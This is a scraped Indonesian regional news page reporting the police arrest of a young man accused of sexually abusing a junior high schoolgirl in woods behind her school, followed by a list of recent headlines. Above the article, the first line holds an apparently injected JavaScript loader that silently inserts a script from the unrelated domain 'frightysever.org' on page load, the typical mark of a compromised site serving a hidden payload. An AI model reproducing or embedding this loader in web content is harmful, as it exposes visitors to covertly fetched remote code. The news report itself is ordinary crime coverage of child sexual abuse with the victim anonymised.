(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pemuda Ini Garap Siswi SMP di Hutan Belakang Sekolah


BUNTOK, Siswi SMP kelas 1 warga Desa Rampa Mea, Kecamatan Dusun Selatan, Kabupaten Barito Selatan (Barsel) dibikin malu. Sebut saja L, diduga dicabuli oleh EA (20) di semak-semak hutan belakang SMP 1 Rampa Mea dengan cara dibekap mulut korban hingga tidak sadarkan diri.

“Kejadian tersebut terjadi pada Senin (2/4) lalu, tersangka EA melarikan diri dan bisa diamankan beberapa hari yang lalu,” Kata Kapolres Barsel AKBP Eka Syarif Nugraha Husen SIK Msi melalui Kasat Reskrim AKP Tryo Sugiyono  kepada Kanal Kalimantan, Selasa (10/4).

Kasat Reskri Polres Barsel menceritakan, sebelum kejadian korban dibawa oleh tersangka ke arah hutan di belakang SMP 1 Rampa Mea, setelah berada disemak-semak tersangka lalu membuka celananya dan kemudian membekap mulut korban dengan menggunakan bajunya sampai korban tidak sadarkan diri.

“Saat korban tidak sadarkan diri, tersangka mencabuli korban sebanyak satu kali. Lalu pada saat korban sadar, korban melihat tersangka duduk di sampingnya, korban melihat pada saat itu rok sekolahnya sudah terangkat ke atas dan celana dalamnya terlepas terletak di dekat kakinya di atas tanah,” ungkap Tryo.

Setelah sadar korban langsung lari ke dalam hutan selama satu malam, korban diam di dalam hutan. Baru pada hari Selasa (3/4) sekitar pukul 07.00 WIB korban keluar hutan, dengan mengikuti bekas jalan setapak orang dan kemudian ketemu dengan warga yang mencarinya.

“Atas kejadian tersebut orang tua korban melapor kejadian tersebut ke kantor Polres Barsel dan segera kita tindak lebih lanjuti,” ucap Tryo.

Lewat laporan tersebut pihak Polres Barsel langsung melakukan pencarian dan tidak butuh waktu lama tersangka bisa ditangkap untuk proses lebih lanjut.

“Atas perbuatannya tersangka dikenakan pasal 82 Ayat (1) UU RI No 17 tahun 2016 tentang penetapan Perpu No 1 tahun 2016 tentang perubahan kedua atas UU No 23 tahun 2002 tentang Perlindungan Anak dengan ancaman hukuman 15 tahun penjara,” tandas Tryo. (digdo)

Reporter : Digdo
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

8 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

9 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

17 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.